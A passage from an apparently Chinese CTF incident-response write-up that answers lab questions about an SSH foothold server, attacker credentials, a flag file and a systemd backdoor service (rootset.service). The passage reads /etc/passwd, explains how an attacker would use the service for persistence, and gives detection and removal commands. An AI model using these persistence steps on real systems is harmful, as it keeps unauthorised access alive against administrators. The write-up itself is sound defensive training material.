\u8ba4\u8bc1\u7684\u670d\u52a1\u65f6\uff0c\u53ef\u4f7f\u7528\u8be5\u5bc6\u94a5\u5bf9\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u3002\u5c06\u516c\u94a5\u914d<br>\u7f6e\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u79c1\u94a5\u4fdd\u7559\u5728\u672c\u5730\u3002\u5f53\u672c\u5730\u5ba2\u6237\u7aef\u5c1d\u8bd5\u8fde\u63a5\u670d\u52a1\u5668\u65f6\uff0c\u670d\u52a1\u5668\u4f1a\u5411\u5ba2\u6237\u7aef\u53d1\u9001\u4e00\u4e2a<br>\u52a0\u5bc6\u7684\u968f\u673a\u5b57\u7b26\u4e32\uff0c\u5ba2\u6237\u7aef\u4f7f\u7528\u79c1\u94a5\u5bf9\u5176\u8fdb\u884c\u89e3\u5bc6\uff0c\u7136\u540e\u5c06\u89e3\u5bc6\u540e\u7684\u6570\u636e\u53d1\u9001\u7ed9\u670d\u52a1\u5668\u8fdb\u884c\u9a8c<br>\u8bc1\u3002\u5982\u679c\u9a8c\u8bc1\u6210\u529f\uff0c\u5ba2\u6237\u7aef\u5c31\u53ef\u4ee5\u65e0\u9700\u8f93\u5165\u5bc6\u7801\u800c\u76f4\u63a5\u767b\u5f55\u5230\u670d\u52a1\u5668\uff0c\u8fd9\u79cd\u65b9\u5f0f\u6bd4\u4f20\u7edf\u7684\u5bc6\u7801\u9a8c<br>\u8bc1\u66f4\u4e3a\u5b89\u5168\u548c\u4fbf\u6377\u3002<br>\u5728\u4f01\u4e1a\u4e1a\u52a1\u670d\u52a1\u5668\u4f7f\u7528\u5bc6\u94a5\u8ba4\u8bc1\u7684\u573a\u666f\u4e2d\uff0cA \u521a\u5165\u804c\u4e3b\u7ba1\u95ee A \u8981\u7684\u901a\u5e38\u662f\u516c\u94a5\u3002\u5177\u4f53\u8fc7\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>A \u5728\u81ea\u5df1\u7684\u8bbe\u5907\u4e0a\u751f\u6210\u5bc6\u94a5\u5bf9\uff0c\u5305\u62ec\u516c\u94a5\u548c\u79c1\u94a5\u3002<\/li>\n\n\n\n<li>A \u5c06\u751f\u6210\u7684\u516c\u94a5\u63d0\u4f9b\u7ed9\u4e3b\u7ba1\uff0c\u4e3b\u7ba1\u628a\u516c\u94a5\u914d\u7f6e\u5230\u4e1a\u52a1\u670d\u52a1\u5668\u7684\u6388\u6743\u6587\u4ef6\u4e2d<br>\uff08\u5982 ~\/.ssh\/authorized_keys \uff09\u3002<\/li>\n\n\n\n<li>A \u4f7f\u7528\u81ea\u5df1\u7684\u79c1\u94a5\u901a\u8fc7\u5ba2\u6237\u7aef\u53d1\u8d77\u767b\u5f55\u8bf7\u6c42\uff0c\u670d\u52a1\u7aef\u4f1a\u901a\u8fc7\u516c\u94a5\u52a0\u5bc6\u4e00\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\uff0c\u5ba2\u6237<br>\u7aef\u518d\u901a\u8fc7\u79c1\u94a5\u89e3\u5bc6\u8be5\u5b57\u7b26\u4e32\u8fd4\u56de\u7ed9\u670d\u52a1\u7aef\uff0c\u901a\u8fc7\u5bf9\u6bd4\u4e24\u4e2a\u5b57\u7b26\u4e32\u662f\u5426\u4e00\u81f4\u6765\u8ba4\u8bc1\u8eab\u4efd\u3002<br>\u4e1a\u52a1\u670d\u52a1\u5668\u4e0a\u4f1a\u6709\u5f88\u591a\u516c\u94a5\uff0c\u6bcf\u4e2a\u9700\u8981\u767b\u5f55\u670d\u52a1\u5668\u7684\u7528\u6237\u90fd\u6709\u81ea\u5df1\u7684\u516c\u94a5\u88ab\u5b58\u50a8\u5728\u670d\u52a1\u5668\u4e0a\uff0c\u4ee5<br>\u6b64\u6765\u5b9e\u73b0\u57fa\u4e8e\u5bc6\u94a5\u7684\u8eab\u4efd\u8ba4\u8bc1\uff0c\u8fd9\u79cd\u65b9\u5f0f\u6bd4\u4f20\u7edf\u7684\u8d26\u53f7\u5bc6\u7801\u8ba4\u8bc1\u66f4\u5b89\u5168\uff0c\u53ef\u907f\u514d\u5bc6\u7801\u5728\u7f51\u7edc\u4e0a\u4f20<br>\u8f93\u5e26\u6765\u7684\u5b89\u5168\u98ce\u9669<\/li>\n<\/ol>\n\n\n\n<p>\u6240\u4ee5\u6587\u4ef6\u540d\u5b57\u5c31\u662f<\/p>\n\n\n\n<p>key.txt<\/p>\n\n\n\n<p>palu{key.txt}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">7.\u9898\u89e3\u6cc4\u9732\u7684\u90ae\u7bb1\u5730\u5740<\/h2>\n\n\n\n<p>\u5728\u4e0a\u4e00\u9898\u6211\u4eec\u5df2\u7ecf\u770b\u5230\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-482-1024x509.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"509\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-482-1024x509.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-806\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{parloo@parloo.com}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">8.\u63d0\u4ea4\u7acb\u8db3\u70b9\u670d\u52a1\u5668ip\u5730\u5740<\/h2>\n\n\n\n<p>\u7acb\u8db3\u70b9\uff08Footprint\uff09\u5728\u7f51\u7edc\u5b89\u5168\u9886\u57df\u901a\u5e38\u6307\uff1a<br>\u653b\u51fb\u8005\u901a\u8fc7\u6e17\u900f\u6d4b\u8bd5\u6216\u653b\u51fb\u624b\u6bb5\uff0c\u5728\u76ee\u6807\u7f51\u7edc\u4e2d\u6210\u529f\u63a7\u5236\u7684\u7b2c\u4e00\u53f0\u4e3b\u673a\u6216\u670d\u52a1\u5668\u3002\u8fd9\u53f0\u670d\u52a1\u5668\u6210<br>\u4e3a\u653b\u51fb\u8005\u8fdb\u4e00\u6b65\u6e17\u900f\u5185\u90e8\u7f51\u7edc\u7684\u8df3\u677f\u6216\u57fa\u5730\uff0c\u56e0\u6b64\u88ab\u79f0\u4e3a \u201c\u7acb\u8db3\u70b9\u670d\u52a1\u5668\u201d\u3002<\/p>\n\n\n\n<p>\u201c\u7acb\u8db3\u70b9\u670d\u52a1\u5668IP\u201d\u901a\u5e38\u662f\u6307\u5728\u7f51\u7edc\u5b89\u5168\u6216\u6e17\u900f\u6d4b\u8bd5\u4e2d\uff0c\u653b\u51fb\u8005\u7528\u6765\u4f5c\u4e3a\u8df3\u677f\u6216\u4e2d\u8f6c\u7684\u670d\u52a1\u5668IP\u5730\u5740\u3002\u8fd9\u7c7b\u670d\u52a1\u5668\u53ef\u80fd\u662f\u88ab\u653b\u51fb\u8005\u63a7\u5236\u7684\u8bbe\u5907\uff0c\u7528\u4e8e\u9690\u85cf\u771f\u5b9e\u653b\u51fb\u6e90\u6216\u4f5c\u4e3a\u8fdb\u4e00\u6b65\u653b\u51fb\u7684\u8d77\u70b9\u3002<\/p>\n\n\n\n<p>\u5177\u4f53\u542b\u4e49\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u8df3\u677f\u4f5c\u7528<\/strong>\uff1a\u653b\u51fb\u8005\u901a\u8fc7\u5165\u4fb5\u6216\u5229\u7528\u67d0\u4e9b\u670d\u52a1\u5668\uff08\u5373\u201c\u7acb\u8db3\u70b9\u201d\uff09\uff0c\u5c06\u5176\u4f5c\u4e3a\u4e2d\u8f6c\u7ad9\u53d1\u8d77\u540e\u7eed\u653b\u51fb\uff0c\u907f\u514d\u76f4\u63a5\u66b4\u9732\u81ea\u5df1\u7684\u771f\u5b9eIP\u3002<\/li>\n\n\n\n<li><strong>\u9690\u533f\u884c\u8e2a<\/strong>\uff1a\u901a\u8fc7\u591a\u5c42\u8df3\u677f\uff08\u5982\u201c\u4ee3\u7406\u94fe\u201d\u6216\u201cTor\u7f51\u7edc\u201d\uff09\uff0c\u589e\u52a0\u8ffd\u8e2a\u96be\u5ea6\u3002<\/li>\n\n\n\n<li><strong>\u957f\u671f\u63a7\u5236<\/strong>\uff1a\u653b\u51fb\u8005\u53ef\u80fd\u957f\u671f\u7ef4\u62a4\u8fd9\u4e9b\u670d\u52a1\u5668\uff0c\u4f5c\u4e3a\u540e\u7eed\u653b\u51fb\u7684\u57fa\u5730\uff08\u5982APT\u653b\u51fb\u4e2d\u7684\u201c\u6301\u4e45\u5316\u201d\uff09\u3002<\/li>\n<\/ol>\n\n\n\n<p>\u5176\u5b9e\u5185\u7f51\u51e0\u53f0\u4e3b\u673a\u7684ip\uff0c\u8bd5\u8bd5\u5c31\u80fd\u51fa\u6765\uff0c\u770b\u4e86\u5f88\u591awp\uff0c\u4f30\u8ba1\u90fd\u662f\u8bd5\u51fa\u6765\u7684<br>\u5728\u96f7\u6c60waf\u4e2d\uff0c192.168.20.108\u662f\u8d44\u4ea7\u8868\u4e2d\u7684sshServer\u4e3b\u673a\u7684\u5730\u5740\uff0c\u8fd9\u4e2a\u4e3b\u673a\u662f\u6211\u4eec\u7684\u8d44\u4ea7\uff0c\u4e14\u5728<br>waf\u4e2d\u7559\u4e0b\u4e86\u5b83\u5f88\u591a\u6b21\u653b\u51fb\uff0c\u6240\u4ee5\u5b83\u5c31\u662f\u7acb\u8db3\u70b9\u670d\u52a1\u5668ip\u5730\u5740<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-483-1024x515.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"515\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-483-1024x515.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-807\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{192.168.20.108}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">9.\u63d0\u4ea4\u653b\u51fb\u8005\u4f7f\u7528\u7684\u63d0\u6743\u7684\u7528\u6237\u548c\u5bc6\u7801\u63d0\u4ea4\u683c\u5f0fpalu{\u8d26\u53f7\/\u5bc6\u7801}<\/h2>\n\n\n\n<p>\u56e0\u4e3a\u4e0a\u4e00\u9898\u5df2\u7ecf\u77e5\u9053\u7acb\u8db3\u70b9\u7684\u670d\u52a1\u5668\u4e86192.168.20.108<\/p>\n\n\n\n<p>\u6240\u4ee5\u542f\u52a8ssH Server\u670d\u52a1\u5668<\/p>\n\n\n\n<p>\u8d26\u53f7\u5bc6\u7801\uff1aubuntu\/Skills@sshserver<\/p>\n\n\n\n<p>\u8f93\u5165\u5bc6\u7801\u540e\u53d1\u73b0\u76f4\u63a5\u5361\u4f4f\u4e86<\/p>\n\n\n\n<p>\u76f4\u63a5CTRL+C\u5c31\u53ef\u4ee5\u8fdb\u5165\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-484-1024x543.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"543\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-484-1024x543.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-808\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>cat \/etc\/passwd \u67e5\u770b\u7528\u6237<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-485.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"885\" height=\"623\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-485.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-809\"  sizes=\"auto, (max-width: 885px) 100vw, 885px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u6700\u5e95\u4e0b\u6709\u4e2aparloo\u7528\u6237 \uff0c\u62e5\u6709\/bin\/sh\u6240\u4ee5\u53ef\u4ee5\u6000\u7591\u662f\u653b\u51fb\u8005<\/p>\n\n\n\n<p>\u6253\u5f00server1\u7684\u673a\u5b50\uff0c\u6253\u5f00\u7ba1\u7406\u9762\u677f\uff0c\u5176\u4e2d\u7ba1\u7406\u7740\u4e24\u4e2aweb\u7f51\u7ad9\uff0c\u5176\u4e2d\u4e00\u4e2a\u5199\u4e86\u5458\u5de5\u8d26\u6237\u5bc6\u7801\uff0c\u731c\u6d4bparloo\u5bc6\u7801\u4e3aparloo<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-486-1024x480.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"480\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-486-1024x480.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-810\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{parloo\/parloo}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">10.\u63d0\u4ea4\u653b\u51fb\u8005\u7559\u4e0b\u7684\u7684\u6587\u4ef6\u5185\u5bb9\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u5728sshserver\u673a\u5b50\u4e2d\uff0c\/home\u76ee\u5f55\u4e0b\u627e\u5230parloo\u7528\u6237\u5bb6\u76ee\u5f55\uff0c\u627e\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-487.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"595\" height=\"199\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-487.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-811\"  sizes=\"auto, (max-width: 595px) 100vw, 595px\" \/><\/div><\/figure>\n\n\n\n<p>palu{hi_2025_parloo_is_hack}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">11.\u63d0\u4ea4\u6743\u9650\u7ef4\u6301\u65b9\u6cd5\u670d\u52a1\u7684\u540d\u79f0<\/h2>\n\n\n\n<p><strong>\u524d\u7f6e\u77e5\u8bc6<\/strong><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>\/etc\/systemd\/system\/<\/code> \u662f <strong>Linux \u7cfb\u7edf\uff08\u4f7f\u7528 systemd \u4f5c\u4e3a\u521d\u59cb\u5316\u7cfb\u7edf\uff09<\/strong> \u4e2d\u7684\u4e00\u4e2a\u5173\u952e\u76ee\u5f55\uff0c\u4e3b\u8981\u7528\u4e8e\u5b58\u50a8<strong>\u7528\u6237\u6216\u7ba1\u7406\u5458\u81ea\u5b9a\u4e49\u7684\u7cfb\u7edf\u670d\u52a1\u5355\u5143\u6587\u4ef6\uff08unit files\uff09<\/strong><\/p>\n\n\n\n<p><strong>\u6dfb\u52a0\u81ea\u5b9a\u4e49\u670d\u52a1<\/strong><\/p>\n\n\n\n<p>\uff081\uff09\u7f16\u8f91<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\nsudo vim \/etc\/systemd\/system\/myapp.service<\/code><\/pre>\n\n\n\n<p>\u5185\u5bb9\u793a\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\n&#91;Unit]\nDescription=My Custom App\nAfter=network.target\n\n&#91;Service]\nExecStart=\/usr\/bin\/myapp\nUser=myuser\n\n&#91;Install]\nWantedBy=multi-user.target<\/code><\/pre>\n\n\n\n<p>\uff082\uff09<strong>\u91cd\u8f7d\u914d\u7f6e<\/strong><br>\u4fee\u6539\u540e\u9700\u8ba9 systemd \u91cd\u65b0\u52a0\u8f7d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\nsudo systemctl daemon-reload\nsudo systemctl enable --now myapp.service<\/code><\/pre>\n<\/blockquote>\n\n\n\n<p>1\u3001\u5728\/etc\/systemd\/system\u76ee\u5f55\u4e2d\u53d1\u73b0rootset.service\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-488.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"775\" height=\"640\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-488.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-812\"  sizes=\"auto, (max-width: 775px) 100vw, 775px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e2a <code>rootset.service<\/code> \u6587\u4ef6\u662f\u4e00\u4e2a\u5178\u578b\u7684 <strong>systemd \u540e\u95e8\u670d\u52a1<\/strong>\uff0c\u653b\u51fb\u8005\u901a\u8fc7\u5b83\u5b9e\u73b0 <strong>\u6743\u9650\u7ef4\u6301\uff08Persistence\uff09<\/strong>\uff0c\u786e\u4fdd\u6076\u610f\u7a0b\u5e8f\u5728\u7cfb\u7edf\u91cd\u542f\u540e\u4ecd\u80fd\u81ea\u52a8\u8fd0\u884c\u3002\u4ee5\u4e0b\u662f\u5177\u4f53\u5206\u6790\uff1a<\/p>\n\n\n\n<p><strong>\u6076\u610f\u7279\u5f81\u5206\u6790<\/strong><\/p>\n\n\n\n<p>\uff081\uff09\u53ef\u7591\u7684\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\nConditionFileIsExecutable=\/usr\/bin\/b4b40c44ws\nExecStart=\/usr\/bin\/b4b40c44ws<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6587\u4ef6\u540d <code>b4b40c44ws<\/code> \u662f\u968f\u673a\u5b57\u7b26\u4e32\uff08\u65e0\u610f\u4e49\u547d\u540d\uff09\uff0c\u660e\u663e\u662f\u4e3a\u4e86\u8eb2\u907f\u68c0\u6d4b\uff08\u5982 <code>ls \/usr\/bin<\/code> \u65f6\u4e0d\u6613\u88ab\u53d1\u73b0\uff09\u3002<\/li>\n\n\n\n<li>\u8def\u5f84\u5728 <code>\/usr\/bin\/<\/code> \u4e0b\uff0c\u4f2a\u88c5\u6210\u5408\u6cd5\u7cfb\u7edf\u7a0b\u5e8f\u3002<\/li>\n<\/ul>\n\n\n\n<p>\uff082\uff09\u670d\u52a1\u914d\u7f6e\u7684\u6076\u610f\u884c\u4e3a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>Restart=always<\/code> + <code>RestartSec=120<\/code><\/strong><br>\u5982\u679c\u6076\u610f\u8fdb\u7a0b\u5d29\u6e83\u6216\u88ab\u6740\uff0csystemd \u4f1a\u6bcf <strong>120 \u79d2\u81ea\u52a8\u91cd\u542f\u5b83<\/strong>\uff0c\u786e\u4fdd\u540e\u95e8\u6301\u7eed\u8fd0\u884c\u3002<\/li>\n\n\n\n<li><strong><code>StartLimitInterval=5<\/code> + <code>StartLimitBurst=10<\/code><\/strong><br>\u5141\u8bb8\u77ed\u65f6\u95f4\u5185\u591a\u6b21\u91cd\u542f\uff08\u9632\u89e6\u53d1 systemd \u7684\u542f\u52a8\u9650\u5236\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p>\uff083\uff09\u6301\u4e45\u5316\u5b89\u88c5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\n&#91;Install]\nWantedBy=multi-user.target<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u670d\u52a1\u88ab\u94fe\u63a5\u5230 <code>multi-user.target<\/code>\uff08\u6807\u51c6\u591a\u7528\u6237\u8fd0\u884c\u7ea7\u522b\uff09\uff0c<strong>\u7cfb\u7edf\u542f\u52a8\u65f6\u4f1a\u81ea\u52a8\u8fd0\u884c<\/strong>\u3002<\/li>\n<\/ul>\n\n\n\n<p>\uff084\uff09\u73af\u5883\u53d8\u91cf\u9690\u85cf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\nEnvironmentFile=-\/etc\/sysconfig\/rootset<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4ece <code>\/etc\/sysconfig\/rootset<\/code> \u52a0\u8f7d\u73af\u5883\u53d8\u91cf\uff08<code>-<\/code> \u8868\u793a\u5ffd\u7565\u6587\u4ef6\u4e0d\u5b58\u5728\u9519\u8bef\uff09\u3002<\/li>\n\n\n\n<li>\u653b\u51fb\u8005\u53ef\u80fd\u901a\u8fc7\u8be5\u6587\u4ef6\u4f20\u9012\u9690\u853d\u53c2\u6570\uff08\u5982 C2 \u670d\u52a1\u5668\u5730\u5740\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p><strong>\u653b\u51fb\u8005\u5982\u4f55\u5229\u7528\u5b83\uff1f<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><br><p><strong>\u4e0a\u4f20\u6076\u610f\u7a0b\u5e8f<\/strong><br>\u5c06\u540e\u95e8\u6728\u9a6c\uff08\u5982\u53cd\u5411 Shell\u3001\u6316\u77ff\u7a0b\u5e8f\uff09\u653e\u5230 <code>\/usr\/bin\/b4b40c44ws<\/code>\u3002<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u521b\u5efa\u670d\u52a1<\/strong><br>\u901a\u8fc7 <code>rootset.service<\/code> \u786e\u4fdd\u6076\u610f\u7a0b\u5e8f\u4ee5 root \u6743\u9650\u6301\u4e45\u5316\u3002<\/p><br><\/li>\n\n\n\n<li><br><p><strong>\u6fc0\u6d3b\u670d\u52a1<\/strong><\/p><br><pre><code>PLAINTEXT<br><br>systemctl daemon-reload<br>systemctl enable --now rootset.service  # \u5f00\u673a\u81ea\u542f + \u7acb\u5373\u8fd0\u884c<\/code><\/pre><br><\/li>\n\n\n\n<li><br><p><strong>\u7ef4\u6301\u8bbf\u95ee<\/strong><br>\u5373\u4f7f\u7ba1\u7406\u5458\u6740\u6b7b\u8fdb\u7a0b\uff0csystemd \u4e5f\u4f1a\u91cd\u65b0\u542f\u52a8\u5b83\u3002<\/p><br><\/li>\n<\/ol>\n\n\n\n<p><strong>\u68c0\u6d4b\u4e0e\u6e05\u9664\u65b9\u6cd5<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u68c0\u67e5\u670d\u52a1\u72b6\u6001<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\nsystemctl status rootset.service  # \u67e5\u770b\u662f\u5426\u6b63\u5728\u8fd0\u884c\njournalctl -u rootset.service    # \u67e5\u770b\u65e5\u5fd7<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5220\u9664\u6076\u610f\u6587\u4ef6<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>PLAINTEXT\n\nsudo systemctl stop rootset.service\nsudo systemctl disable rootset.service\nsudo rm \/etc\/systemd\/system\/rootset.service\nsudo rm \/usr\/bin\/b4b40c44ws      # \u5220\u9664\u6076\u610f\u7a0b\u5e8f\nsudo systemctl daemon-reload<\/code><\/pre>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6392\u67e5\u5176\u4ed6\u75d5\u8ff9<\/strong><\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li><br><p>\u68c0\u67e5 <code>\/etc\/sysconfig\/rootset<\/code>\uff08\u73af\u5883\u53d8\u91cf\u6587\u4ef6\uff09\u3002<\/p><br><\/li>\n\n\n\n<li><br><p>\u641c\u7d22\u5176\u4ed6\u53ef\u7591\u670d\u52a1\uff1a<\/p><br><pre><code>PLAINTEXT<br><br>ls -la \/etc\/systemd\/system\/ \/usr\/lib\/systemd\/system\/<br>grep -r \"ExecStart\" \/etc\/systemd\/system\/<\/code><\/pre><br><\/li>\n<\/ul>\n\n\n\n<ol 